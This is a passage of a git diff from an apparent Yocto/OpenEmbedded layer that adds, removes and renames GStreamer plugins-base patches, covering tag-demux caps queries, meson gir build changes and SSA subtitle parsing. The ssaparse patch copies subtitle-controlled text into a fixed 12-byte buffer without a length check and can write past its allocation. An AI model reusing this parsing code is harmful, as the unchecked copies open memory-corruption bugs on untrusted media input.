+FILES:${PN}-voamrwbenc += "${datadir}/gstreamer-1.0/presets/GstVoAmrwbEnc.prs"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch
new file mode 100644
index 0000000000..34c99ded42
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-ENGR00312515-get-caps-from-src-pad-when-query-caps.patch
@@ -0,0 +1,42 @@
+From 63fe5a7b4ef70e2c490bad3b0838329935a8d77c Mon Sep 17 00:00:00 2001
+From: zhouming <b42586@freescale.com>
+Date: Wed, 14 May 2014 10:16:20 +0800
+Subject: [PATCH] ENGR00312515: get caps from src pad when query caps
+
+https://bugzilla.gnome.org/show_bug.cgi?id=728312
+
+Upstream-Status: Pending
+
+Signed-off-by: zhouming <b42586@freescale.com>
+
+---
+ gst-libs/gst/tag/gsttagdemux.c | 13 +++++++++++++
+ 1 file changed, 13 insertions(+)
+ mode change 100644 => 100755 gst-libs/gst/tag/gsttagdemux.c
+
+diff --git a/gst-libs/gst/tag/gsttagdemux.c b/gst-libs/gst/tag/gsttagdemux.c
+old mode 100644
+new mode 100755
+index 173da37..2b7f34c
+--- a/gst-libs/gst/tag/gsttagdemux.c
++++ b/gst-libs/gst/tag/gsttagdemux.c
+@@ -1796,6 +1796,19 @@ gst_tag_demux_pad_query (GstPad * pad, GstObject * parent, GstQuery * query)
+ }
+ break;
+ }
++ case GST_QUERY_CAPS:
++ {
++
++ /* We can hijack caps query if we typefind already */
++ if (demux->priv->src_caps) {
++ gst_query_set_caps_result (query, demux->priv->src_caps);
++ res = TRUE;
++ } else {
++ res = gst_pad_query_default (pad, parent, query);
++ }
++ break;
++ }
++
+ default:
+ res = gst_pad_query_default (pad, parent, query);
+ break;
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch
deleted file mode 100644
index 49ab471414..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0001-meson-build-gir-even-when-cross-compiling-if-introsp.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 30672ba7d134553e59935ddc875104adba26f25c Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Tim-Philipp=20M=C3=BCller?= <tim@centricular.com>
-Date: Thu, 17 Oct 2019 20:06:24 +0100
-Subject: [PATCH] meson: build gir even when cross-compiling if introspection
- was enabled explicitly
-
-This can be made to work in certain circumstances when
-cross-compiling, so default to not building g-i stuff
-when cross-compiling, but allow it if introspection was
-enabled explicitly via -Dintrospection=enabled.
-
-See gstreamer/gstreamer#454 and gstreamer/gstreamer#381.
-
-Upstream-Status: Backport [30672ba7d134553e59935ddc875104adba26f25c]
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 264d84c9e..c8147c224 100644
---- a/meson.build
-+++ b/meson.build
-@@ -372,7 +372,7 @@ endif
-
- gir = find_program('g-ir-scanner', required : get_option('introspection'))
- gnome = import('gnome')
--build_gir = gir.found() and not meson.is_cross_build()
-+build_gir = gir.found() and (not meson.is_cross_build() or get_option('introspection').enabled())
- gir_init_section = [ '--add-init-section=extern void gst_init(gint*,gchar**);' + \
- 'g_setenv("GST_REGISTRY_DISABLE", "yes", TRUE);' + \
- 'g_setenv("GST_REGISTRY_1.0", "@0@", TRUE);'.format(meson.current_build_dir() + '/gir_empty_registry.reg') + \
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-meson-Add-variables-for-gir-files.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-meson-Add-variables-for-gir-files.patch
deleted file mode 100644
index ca85744c19..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-meson-Add-variables-for-gir-files.patch
+++ /dev/null
@@ -1,235 +0,0 @@
-From 685731e989dc074a4b0d48b6c8062e2738f09719 Mon Sep 17 00:00:00 2001
-From: Thibault Saunier <tsaunier@igalia.com>
-Date: Mon, 22 Oct 2018 11:44:37 +0200
-Subject: [PATCH] meson: Add variables for gir files
-
-And flatten list of sources for dependencies
-
-Upstream-Status: Backport [685731e989dc074a4b0d48b6c8062e2738f09719]
-
-Signed-off-by: Carlos Rafael Giani <crg7475@mailbox.org>
----
- gst-libs/gst/allocators/meson.build | 5 +++--
- gst-libs/gst/app/meson.build | 6 ++++--
- gst-libs/gst/audio/meson.build | 5 +++--
- gst-libs/gst/pbutils/meson.build | 5 +++--
- gst-libs/gst/rtp/meson.build | 6 ++++--
- gst-libs/gst/rtsp/meson.build | 5 +++--
- gst-libs/gst/sdp/meson.build | 6 ++++--
- gst-libs/gst/tag/meson.build | 5 +++--
- gst-libs/gst/video/meson.build | 5 +++--
- 9 files changed, 30 insertions(+), 18 deletions(-)
-
-diff --git a/gst-libs/gst/allocators/meson.build b/gst-libs/gst/allocators/meson.build
-index 364baeebf..56f156dc3 100644
---- a/gst-libs/gst/allocators/meson.build
-+++ b/gst-libs/gst/allocators/meson.build
-@@ -22,7 +22,7 @@ gstallocators = library('gstallocators-@0@'.format(api_version),
- allocators_gen_sources = []
- if build_gir
- gst_gir_extra_args = gir_init_section + [ '--c-include=gst/allocators/allocators.h' ]
-- allocators_gen_sources += [gnome.generate_gir(gstallocators,
-+ allocators_gir = gnome.generate_gir(gstallocators,
- sources : gst_allocators_sources + gst_allocators_headers,
- namespace : 'GstAllocators',
- nsversion : api_version,
-@@ -33,7 +33,8 @@ if build_gir
- install : true,
- extra_args : gst_gir_extra_args,
- dependencies : [gst_dep]
-- )]
-+ )
-+ allocators_gen_sources += allocators_gir
- endif
-
- allocators_dep = declare_dependency(link_with: gstallocators,
-diff --git a/gst-libs/gst/app/meson.build b/gst-libs/gst/app/meson.build
-index 81dd0f42c..7a90f5e10 100644
---- a/gst-libs/gst/app/meson.build
-+++ b/gst-libs/gst/app/meson.build
-@@ -32,7 +32,7 @@ gstapp = library('gstapp-@0@'.format(api_version),
-
- if build_gir
- gst_gir_extra_args = gir_init_section + [ '--c-include=gst/app/app.h' ]
-- app_gen_sources += [gnome.generate_gir(gstapp,
-+ app_gir = gnome.generate_gir(gstapp,
- sources : app_sources + app_headers + [gstapp_c] + [gstapp_h],
- namespace : 'GstApp',
- nsversion : api_version,
-@@ -43,7 +43,9 @@ if build_gir
- install : true,
- extra_args : gst_gir_extra_args,
- dependencies : [gst_dep, gst_base_dep]
-- )]
-+ )
-+
-+ app_gen_sources += app_gir
- endif
-
- app_dep = declare_dependency(link_with: gstapp,
-diff --git a/gst-libs/gst/audio/meson.build b/gst-libs/gst/audio/meson.build
-index 0e4efab2e..2a449d4bf 100644
---- a/gst-libs/gst/audio/meson.build
-+++ b/gst-libs/gst/audio/meson.build
-@@ -153,7 +153,7 @@ gstaudio = library('gstaudio-@0@'.format(api_version),
-
- if build_gir
- gst_gir_extra_args = gir_init_section + [ '--c-include=gst/audio/audio.h' ]
-- audio_gen_sources += [gnome.generate_gir(gstaudio,
-+ audio_gir = gnome.generate_gir(gstaudio,
- sources : audio_src + audio_headers + [gstaudio_c] + [gstaudio_h],
- namespace : 'GstAudio',
- nsversion : api_version,
-@@ -164,7 +164,8 @@ if build_gir
- install : true,
- extra_args : gst_gir_extra_args,
- dependencies : gstaudio_deps
-- )]
-+ )
-+ audio_gen_sources += [audio_gir]
- endif
-
- audio_dep = declare_dependency(link_with : gstaudio,
-diff --git a/gst-libs/gst/pbutils/meson.build b/gst-libs/gst/pbutils/meson.build
-index 2faf62622..0e96722fd 100644
---- a/gst-libs/gst/pbutils/meson.build
-+++ b/gst-libs/gst/pbutils/meson.build
-@@ -63,7 +63,7 @@ pbutils = library('gstpbutils-@0@'.format(api_version),
- pbutils_gen_sources = [gstpbutils_h, gst_pbutils_version_h]
- if build_gir
- gst_gir_extra_args = gir_init_section + [ '--c-include=gst/pbutils/pbutils.h' ]
-- pbutils_gen_sources += [gnome.generate_gir(pbutils,
-+ pbutils_gir = gnome.generate_gir(pbutils,
- sources : pbutils_sources + pbutils_headers + [gstpbutils_h, gst_pbutils_version_h],
- namespace : 'GstPbutils',
- nsversion : api_version,
-@@ -74,7 +74,8 @@ if build_gir
- install : true,
- extra_args : gst_gir_extra_args,
- dependencies : gstpbutils_deps
-- )]
-+ )
-+ pbutils_gen_sources += [pbutils_gir]
- endif
-
- pbutils_dep = declare_dependency(link_with : pbutils,
-diff --git a/gst-libs/gst/rtp/meson.build b/gst-libs/gst/rtp/meson.build
-index f47ec6592..7ea6658d5 100644
---- a/gst-libs/gst/rtp/meson.build
-+++ b/gst-libs/gst/rtp/meson.build
-@@ -49,7 +49,7 @@ gst_rtp = library('gstrtp-@0@'.format(api_version),
- rtp_gen_sources = [gstrtp_enum_h]
- if build_gir
- gst_gir_extra_args = gir_init_section + [ '--c-include=gst/rtp/rtp.h' ]
-- rtp_gen_sources += [gnome.generate_gir(gst_rtp,
-+ rtp_gir = gnome.generate_gir(gst_rtp,
- sources : rtp_sources + rtp_headers + [gstrtp_enum_c] + [gstrtp_enum_h],
- namespace : 'GstRtp',
- nsversion : api_version,
-@@ -60,7 +60,9 @@ if build_gir
- install : true,
- extra_args : gst_gir_extra_args,
- dependencies : gstrtp_deps
-- )]
-+ )
-+
-+ rtp_gen_sources += [rtp_gir]
- endif
-
-
-diff --git a/gst-libs/gst/rtsp/meson.build b/gst-libs/gst/rtsp/meson.build
-index 27e309d5a..3632adceb 100644
---- a/gst-libs/gst/rtsp/meson.build
-+++ b/gst-libs/gst/rtsp/meson.build
-@@ -54,7 +54,7 @@ gst_rtsp = library('gstrtsp-@0@'.format(api_version),
- rtsp_gen_sources = [gstrtsp_h]
- if build_gir
- gst_gir_extra_args = gir_init_section + [ '--c-include=gst/rtsp/rtsp.h' ]
-- rtsp_gen_sources += [gnome.generate_gir(gst_rtsp,
-+ rtsp_gir = gnome.generate_gir(gst_rtsp,
- sources : rtsp_sources + rtsp_headers + [gstrtsp_c] + [gstrtsp_h],
- namespace : 'GstRtsp',
- nsversion : api_version,
-@@ -65,7 +65,8 @@ if build_gir
- install : true,
- extra_args : gst_gir_extra_args,
- dependencies : gstrtsp_deps + [sdp_dep]
-- )]
-+ )
-+ rtsp_gen_sources += [rtsp_gir]
- endif
-
- rtsp_dep = declare_dependency(link_with : gst_rtsp,
-diff --git a/gst-libs/gst/sdp/meson.build b/gst-libs/gst/sdp/meson.build
-index 62c18b732..24cdb5293 100644
---- a/gst-libs/gst/sdp/meson.build
-+++ b/gst-libs/gst/sdp/meson.build
-@@ -23,7 +23,7 @@ gstsdp = library('gstsdp-@0@'.format(api_version),
- sdp_gen_sources = []
- if build_gir
- gst_gir_extra_args = gir_init_section + [ '--c-include=gst/sdp/sdp.h' ]
-- sdp_gen_sources += [gnome.generate_gir(gstsdp,
-+ sdp_gir = gnome.generate_gir(gstsdp,
- sources : gst_sdp_sources + gst_sdp_headers,
- namespace : 'GstSdp',
- nsversion : api_version,
-@@ -34,7 +34,9 @@ if build_gir
- install : true,
- extra_args : gst_gir_extra_args,
- dependencies : rtsp_deps
-- )]
-+ )
-+
-+ sdp_gen_sources += [sdp_gir]
- endif
-
- sdp_dep = declare_dependency(link_with: gstsdp,
-diff --git a/gst-libs/gst/tag/meson.build b/gst-libs/gst/tag/meson.build
-index 27e66fd63..5ec37392a 100644
---- a/gst-libs/gst/tag/meson.build
-+++ b/gst-libs/gst/tag/meson.build
-@@ -93,7 +93,7 @@ gsttag = library('gsttag-@0@'.format(api_version),
-
- if build_gir
- gst_gir_extra_args = gir_init_section + [ '--c-include=gst/tag/tag.h' ]
-- tag_gen_sources += [gnome.generate_gir(gsttag,
-+ tag_gir = gnome.generate_gir(gsttag,
- sources : tag_sources + tag_headers + [gsttag_h] + [gsttag_c],
- namespace : 'GstTag',
- nsversion : api_version,
-@@ -104,7 +104,8 @@ if build_gir
- install : true,
- extra_args : gst_gir_extra_args,
- dependencies : tag_deps
-- )]
-+ )
-+ tag_gen_sources += [tag_gir]
- endif
-
- tag_dep = declare_dependency(link_with: gsttag,
-diff --git a/gst-libs/gst/video/meson.build b/gst-libs/gst/video/meson.build
-index 5b35e1943..bf77aa157 100644
---- a/gst-libs/gst/video/meson.build
-+++ b/gst-libs/gst/video/meson.build
-@@ -138,7 +138,7 @@ gstvideo = library('gstvideo-@0@'.format(api_version),
-
- if build_gir
- gst_gir_extra_args = gir_init_section + [ '--c-include=gst/video/video.h' ]
-- video_gen_sources += [gnome.generate_gir(gstvideo,
-+ video_gir = gnome.generate_gir(gstvideo,
- sources : video_sources + video_headers + [gstvideo_c] + [gstvideo_h],
- namespace : 'GstVideo',
- nsversion : api_version,
-@@ -149,7 +149,8 @@ if build_gir
- install : true,
- extra_args : gst_gir_extra_args,
- dependencies : gstvideo_deps
-- )]
-+ )
-+ video_gen_sources += [video_gir]
- endif
-
- video_dep = declare_dependency(link_with : gstvideo,
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-ssaparse-enhance-SSA-text-lines-parsing.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-ssaparse-enhance-SSA-text-lines-parsing.patch
new file mode 100644
index 0000000000..2adeae93d6
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0002-ssaparse-enhance-SSA-text-lines-parsing.patch
@@ -0,0 +1,227 @@
+From 7bf9525528c8f4a47413d7f82214d76f95f0c5f6 Mon Sep 17 00:00:00 2001
+From: Mingke Wang <mingke.wang@freescale.com>
+Date: Thu, 19 Mar 2015 14:17:10 +0800
+Subject: [PATCH] ssaparse: enhance SSA text lines parsing.
+
+some parser will pass in the original ssa text line which starts with "Dialog:"
+and there's are maybe multiple Dialog lines in one input buffer.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gst-plugins-base/-/issues/178]
+
+Signed-off-by: Mingke Wang <mingke.wang@freescale.com>
+
+---
+ gst/subparse/gstssaparse.c | 150 +++++++++++++++++++++++++++++++++----
+ 1 file changed, 134 insertions(+), 16 deletions(-)
+ mode change 100644 => 100755 gst/subparse/gstssaparse.c
+
+diff --git a/gst/subparse/gstssaparse.c b/gst/subparse/gstssaparse.c
+old mode 100644
+new mode 100755
+index d6fdb9c..5ebe678
+--- a/gst/subparse/gstssaparse.c
++++ b/gst/subparse/gstssaparse.c
+@@ -270,6 +270,7 @@ gst_ssa_parse_remove_override_codes (GstSsaParse * parse, gchar * txt)
+ * gst_ssa_parse_push_line:
+ * @parse: caller element
+ * @txt: text to push
++ * @size: text size need to be parse
+ * @start: timestamp for the buffer
+ * @duration: duration for the buffer
+ *
+@@ -279,27 +280,133 @@ gst_ssa_parse_remove_override_codes (GstSsaParse * parse, gchar * txt)
+ * Returns: result of the push of the created buffer
+ */
+ static GstFlowReturn
+-gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt,
++gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt, gint size,
+ GstClockTime start, GstClockTime duration)
+ {
+ GstFlowReturn ret;
+ GstBuffer *buf;
+- gchar *t, *escaped;
++ gchar *t, *text, *p, *escaped, *p_start, *p_end;
+ gint num, i, len;
++ GstClockTime start_time = G_MAXUINT64, end_time = 0;
+
+- num = atoi (txt);
+- GST_LOG_OBJECT (parse, "Parsing line #%d at %" GST_TIME_FORMAT,
+- num, GST_TIME_ARGS (start));
+-
+- /* skip all non-text fields before the actual text */
++ p = text = g_malloc(size + 1);
++ *p = '\0';
+ t = txt;
+- for (i = 0; i < 8; ++i) {
+- t = strchr (t, ',');
++
++ /* there are may have multiple dialogue lines at a time */
++ while (*t) {
++ /* ignore leading white space characters */
++ while (isspace(*t))
++ t++;
++
++ /* ignore Format: and Style: lines */
++ if (strncmp(t, "Format:", 7) == 0 || strncmp(t, "Style:", 6) == 0) {
++ while (*t != '\0' && *t != '\n') {
++ t++;
++ }
++ }
++
++ if (*t == '\0')
++ break;
++
++ /* continue with next line */
++ if (*t == '\n') {
++ t++;
++ continue;
++ }
++
++ if(strncmp(t, "Dialogue:", 9) != 0) {
++ /* not started with "Dialogue:", it must be a line trimmed by demuxer */
++ num = atoi (t);
++ GST_LOG_OBJECT (parse, "Parsing line #%d at %" GST_TIME_FORMAT,
++ num, GST_TIME_ARGS (start));
++
++ /* skip all non-text fields before the actual text */
++ for (i = 0; i < 8; ++i) {
++ t = strchr (t, ',');
++ if (t == NULL)
++ break;
++ ++t;
++ }
++ } else {
++ /* started with "Dialogue:", update timestamp and duration */
++ /* time format are like Dialog:Mark,0:00:01.02,0:00:03.04,xx,xxx,... */
++ guint hour, min, sec, msec, len;
++ GstClockTime tmp;
++ gchar t_str[12] = {0};
++
++ /* find the first ',' */
++ p_start = strchr (t, ',');
++ if (p_start)
++ p_end = strchr (++p_start, ',');
++
++ if (p_start && p_end) {
++ /* copy text between first ',' and second ',' */
++ strncpy(t_str, p_start, p_end - p_start);
++ if (sscanf (t_str, "%u:%u:%u.%u", &hour, &min, &sec, &msec) == 4) {
++ tmp = ((hour*3600) + (min*60) + sec) * GST_SECOND + msec*GST_MSECOND;
++ GST_DEBUG_OBJECT (parse, "Get start time:%02d:%02d:%02d:%03d\n",
++ hour, min, sec, msec);
++ if (start_time > tmp)
++ start_time = tmp;
++ } else {
++ GST_WARNING_OBJECT (parse,
++ "failed to parse ssa start timestamp string :%s", t_str);
++ }
++
++ p_start = p_end;
++ p_end = strchr (++p_start, ',');
++ if (p_end) {
++ /* copy text between second ',' and third ',' */
++ strncpy(t_str, p_start, p_end - p_start);
++ if (sscanf (t_str, "%u:%u:%u.%u", &hour, &min, &sec, &msec) == 4) {
++ tmp = ((hour*3600) + (min*60) + sec)*GST_SECOND + msec*GST_MSECOND;
++ GST_DEBUG_OBJECT(parse, "Get end time:%02d:%02d:%02d:%03d\n",
++ hour, min, sec, msec);
++ if (end_time < tmp)
++ end_time = tmp;
++ } else {
++ GST_WARNING_OBJECT (parse,
++ "failed to parse ssa end timestamp string :%s", t_str);
++ }
++ }
++ }
++
++ /* now skip all non-text fields before the actual text */
++ for (i = 0; i <= 8; ++i) {
++ t = strchr (t, ',');
++ if (t == NULL)
++ break;
++ ++t;
++ }
++ }
++
++ /* line end before expected number of ',', not a Dialogue line */
+ if (t == NULL)
+- return GST_FLOW_ERROR;
+- ++t;
++ break;
++
++ /* if not the first line, and the last character of previous line is '\0',
++ * then replace it with '\N' */
++ if (p != text && *p == '\0') {
++ *p++ = '\\';
++ *p++ = 'N';
++ }
++
++ /* copy all actual text of this line */
++ while ((*t != '\0') && (*t != '\n'))
++ *p++ = *t++;
++
++ /* add a terminator at the end */
++ *p = '\0';
++ }
++
++ /* not valid text found in this buffer return OK to let caller unref buffer */
++ if (strlen(text) <= 0) {
++ GST_WARNING_OBJECT (parse, "Not valid text found in this buffer\n");
++ return GST_FLOW_ERROR;
+ }
+
++ t = text;
+ GST_LOG_OBJECT (parse, "Text : %s", t);
+
+ if (gst_ssa_parse_remove_override_codes (parse, t)) {
+@@ -317,13 +424,22 @@ gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt,
+ gst_buffer_fill (buf, 0, escaped, len + 1);
+ gst_buffer_set_size (buf, len);
+ g_free (escaped);
++ g_free(t);
++
++ if (start_time != G_MAXUINT64)
++ GST_BUFFER_TIMESTAMP (buf) = start_time;
++ else
++ GST_BUFFER_TIMESTAMP (buf) = start;
+
+- GST_BUFFER_TIMESTAMP (buf) = start;
+- GST_BUFFER_DURATION (buf) = duration;
++ if (end_time > start_time)
++ GST_BUFFER_DURATION (buf) = end_time - start_time;
++ else
++ GST_BUFFER_DURATION (buf) = duration;
+
+ GST_LOG_OBJECT (parse, "Pushing buffer with timestamp %" GST_TIME_FORMAT
+- " and duration %" GST_TIME_FORMAT, GST_TIME_ARGS (start),
+- GST_TIME_ARGS (duration));
++ " and duration %" GST_TIME_FORMAT,
++ GST_TIME_ARGS (GST_BUFFER_TIMESTAMP (buf)),
++ GST_TIME_ARGS (GST_BUFFER_DURATION (buf)));
+
+ ret = gst_pad_push (parse->srcpad, buf);
+
+@@ -343,6 +459,7 @@ gst_ssa_parse_chain (GstPad * sinkpad, GstObject * parent, GstBuffer * buf)
+ GstClockTime ts;
+ gchar *txt;
+ GstMapInfo map;
++ gint size;
+
+ if (G_UNLIKELY (!parse->framed))
+ goto not_framed;
+@@ -360,13 +477,14 @@ gst_ssa_parse_chain (GstPad * sinkpad, GstObject * parent, GstBuffer * buf)
+ /* make double-sure it's 0-terminated and all */
+ gst_buffer_map (buf, &map, GST_MAP_READ);
+ txt = g_strndup ((gchar *) map.data, map.size);
++ size = map.size;
+ gst_buffer_unmap (buf, &map);
+
+ if (txt == NULL)
+ goto empty_text;
+
+ ts = GST_BUFFER_TIMESTAMP (buf);
+- ret = gst_ssa_parse_push_line (parse, txt, ts, GST_BUFFER_DURATION (buf));
++ ret = gst_ssa_parse_push_line (parse, txt, size, ts, GST_BUFFER_DURATION (buf));
+
+ if (ret != GST_FLOW_OK && GST_CLOCK_TIME_IS_VALID (ts)) {
+ GstSegment segment;
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-ssaparse-enhance-SSA-text-lines-parsing.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-ssaparse-enhance-SSA-text-lines-parsing.patch
deleted file mode 100644
index 9e95524057..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base/0003-ssaparse-enhance-SSA-text-lines-parsing.patch
+++ /dev/null
@@ -1,227 +0,0 @@
-From 918c96b24d10f61b7455b4cef3bab490849d0d77 Mon Sep 17 00:00:00 2001
-From: Mingke Wang <mingke.wang@freescale.com>
-Date: Thu, 19 Mar 2015 14:17:10 +0800
-Subject: [PATCH] ssaparse: enhance SSA text lines parsing.
-
-some parser will pass in the original ssa text line which starts with "Dialog:"
-and there's are maybe multiple Dialog lines in one input buffer.
-
-Upstream-Status: Submitted [https://bugzilla.gnome.org/show_bug.cgi?id=747496]
-
-Signed-off-by: Mingke Wang <mingke.wang@freescale.com>
-
----
- gst/subparse/gstssaparse.c | 150 ++++++++++++++++++++++++++++++++++++++++-----
- 1 file changed, 134 insertions(+), 16 deletions(-)
- mode change 100644 => 100755 gst/subparse/gstssaparse.c
-
-diff --git a/gst/subparse/gstssaparse.c b/gst/subparse/gstssaparse.c
-old mode 100644
-new mode 100755
-index c849c08..4b9636c
---- a/gst/subparse/gstssaparse.c
-+++ b/gst/subparse/gstssaparse.c
-@@ -262,6 +262,7 @@ gst_ssa_parse_remove_override_codes (GstSsaParse * parse, gchar * txt)
- * gst_ssa_parse_push_line:
- * @parse: caller element
- * @txt: text to push
-+ * @size: text size need to be parse
- * @start: timestamp for the buffer
- * @duration: duration for the buffer
- *
-@@ -271,27 +272,133 @@ gst_ssa_parse_remove_override_codes (GstSsaParse * parse, gchar * txt)
- * Returns: result of the push of the created buffer
- */
- static GstFlowReturn
--gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt,
-+gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt, gint size,
- GstClockTime start, GstClockTime duration)
- {
- GstFlowReturn ret;
- GstBuffer *buf;
-- gchar *t, *escaped;
-+ gchar *t, *text, *p, *escaped, *p_start, *p_end;
- gint num, i, len;
-+ GstClockTime start_time = G_MAXUINT64, end_time = 0;
-
-- num = atoi (txt);
-- GST_LOG_OBJECT (parse, "Parsing line #%d at %" GST_TIME_FORMAT,
-- num, GST_TIME_ARGS (start));
--
-- /* skip all non-text fields before the actual text */
-+ p = text = g_malloc(size + 1);
-+ *p = '\0';
- t = txt;
-- for (i = 0; i < 8; ++i) {
-- t = strchr (t, ',');
-+
-+ /* there are may have multiple dialogue lines at a time */
-+ while (*t) {
-+ /* ignore leading white space characters */
-+ while (isspace(*t))
-+ t++;
-+
-+ /* ignore Format: and Style: lines */
-+ if (strncmp(t, "Format:", 7) == 0 || strncmp(t, "Style:", 6) == 0) {
-+ while (*t != '\0' && *t != '\n') {
-+ t++;
-+ }
-+ }
-+
-+ if (*t == '\0')
-+ break;
-+
-+ /* continue with next line */
-+ if (*t == '\n') {
-+ t++;
-+ continue;
-+ }
-+
-+ if(strncmp(t, "Dialogue:", 9) != 0) {
-+ /* not started with "Dialogue:", it must be a line trimmed by demuxer */
-+ num = atoi (t);
-+ GST_LOG_OBJECT (parse, "Parsing line #%d at %" GST_TIME_FORMAT,
-+ num, GST_TIME_ARGS (start));
-+
-+ /* skip all non-text fields before the actual text */
-+ for (i = 0; i < 8; ++i) {
-+ t = strchr (t, ',');
-+ if (t == NULL)
-+ break;
-+ ++t;
-+ }
-+ } else {
-+ /* started with "Dialogue:", update timestamp and duration */
-+ /* time format are like Dialog:Mark,0:00:01.02,0:00:03.04,xx,xxx,... */
-+ guint hour, min, sec, msec, len;
-+ GstClockTime tmp;
-+ gchar t_str[12] = {0};
-+
-+ /* find the first ',' */
-+ p_start = strchr (t, ',');
-+ if (p_start)
-+ p_end = strchr (++p_start, ',');
-+
-+ if (p_start && p_end) {
-+ /* copy text between first ',' and second ',' */
-+ strncpy(t_str, p_start, p_end - p_start);
-+ if (sscanf (t_str, "%u:%u:%u.%u", &hour, &min, &sec, &msec) == 4) {
-+ tmp = ((hour*3600) + (min*60) + sec) * GST_SECOND + msec*GST_MSECOND;
-+ GST_DEBUG_OBJECT (parse, "Get start time:%02d:%02d:%02d:%03d\n",
-+ hour, min, sec, msec);
-+ if (start_time > tmp)
-+ start_time = tmp;
-+ } else {
-+ GST_WARNING_OBJECT (parse,
-+ "failed to parse ssa start timestamp string :%s", t_str);
-+ }
-+
-+ p_start = p_end;
-+ p_end = strchr (++p_start, ',');
-+ if (p_end) {
-+ /* copy text between second ',' and third ',' */
-+ strncpy(t_str, p_start, p_end - p_start);
-+ if (sscanf (t_str, "%u:%u:%u.%u", &hour, &min, &sec, &msec) == 4) {
-+ tmp = ((hour*3600) + (min*60) + sec)*GST_SECOND + msec*GST_MSECOND;
-+ GST_DEBUG_OBJECT(parse, "Get end time:%02d:%02d:%02d:%03d\n",
-+ hour, min, sec, msec);
-+ if (end_time < tmp)
-+ end_time = tmp;
-+ } else {
-+ GST_WARNING_OBJECT (parse,
-+ "failed to parse ssa end timestamp string :%s", t_str);
-+ }
-+ }
-+ }
-+
-+ /* now skip all non-text fields before the actual text */
-+ for (i = 0; i <= 8; ++i) {
-+ t = strchr (t, ',');
-+ if (t == NULL)
-+ break;
-+ ++t;
-+ }
-+ }
-+
-+ /* line end before expected number of ',', not a Dialogue line */
- if (t == NULL)
-- return GST_FLOW_ERROR;
-- ++t;
-+ break;
-+
-+ /* if not the first line, and the last character of previous line is '\0',
-+ * then replace it with '\N' */
-+ if (p != text && *p == '\0') {
-+ *p++ = '\\';
-+ *p++ = 'N';
-+ }
-+
-+ /* copy all actual text of this line */
-+ while ((*t != '\0') && (*t != '\n'))
-+ *p++ = *t++;
-+
-+ /* add a terminator at the end */
-+ *p = '\0';
-+ }
-+
-+ /* not valid text found in this buffer return OK to let caller unref buffer */
-+ if (strlen(text) <= 0) {
-+ GST_WARNING_OBJECT (parse, "Not valid text found in this buffer\n");
-+ return GST_FLOW_ERROR;
- }
-
-+ t = text;
- GST_LOG_OBJECT (parse, "Text : %s", t);
-
- if (gst_ssa_parse_remove_override_codes (parse, t)) {
-@@ -309,13 +416,22 @@ gst_ssa_parse_push_line (GstSsaParse * parse, gchar * txt,
- gst_buffer_fill (buf, 0, escaped, len + 1);
- gst_buffer_set_size (buf, len);
- g_free (escaped);
-+ g_free(t);
-+
-+ if (start_time != G_MAXUINT64)
-+ GST_BUFFER_TIMESTAMP (buf) = start_time;
-+ else
-+ GST_BUFFER_TIMESTAMP (buf) = start;
-
-- GST_BUFFER_TIMESTAMP (buf) = start;
-- GST_BUFFER_DURATION (buf) = duration;
-+ if (end_time > start_time)
-+ GST_BUFFER_DURATION (buf) = end_time - start_time;
-+ else
-+ GST_BUFFER_DURATION (buf) = duration;
-
- GST_LOG_OBJECT (parse, "Pushing buffer with timestamp %" GST_TIME_FORMAT
-- " and duration %" GST_TIME_FORMAT, GST_TIME_ARGS (start),
-- GST_TIME_ARGS (duration));
-+ " and duration %" GST_TIME_FORMAT,
-+ GST_TIME_ARGS (GST_BUFFER_TIMESTAMP (buf)),
-+ GST_TIME_ARGS (GST_BUFFER_DURATION (buf)));
-
- ret = gst_pad_push (parse->srcpad, buf);
-
-@@ -335,6 +451,7 @@ gst_ssa_parse_chain (GstPad * sinkpad, GstObject * parent, GstBuffer * buf)
- GstClockTime ts;
- gchar *txt;
- GstMapInfo map;
-+ gint size;
-
- if (G_UNLIKELY (!parse->framed))
- goto not_framed;
-@@ -352,13 +469,14 @@ gst_ssa_parse_chain (GstPad * sinkpad, GstObject * parent, GstBuffer * buf)
- /* make double-sure it's 0-terminated and all */
- gst_buffer_map (buf, &map, GST_MAP_READ);
- txt = g_strndup ((gchar *) map.data, map.size);
-+ size = map.size;
- gst_buffer_unmap (buf, &map);
-
- if (txt == NULL)
- goto empty_text;
-
- ts = GST_BUFFER_TIMESTAMP (buf);
-- ret = gst_ssa_parse_push_line (parse, txt, ts, GST_BUFFER_DURATION (buf));
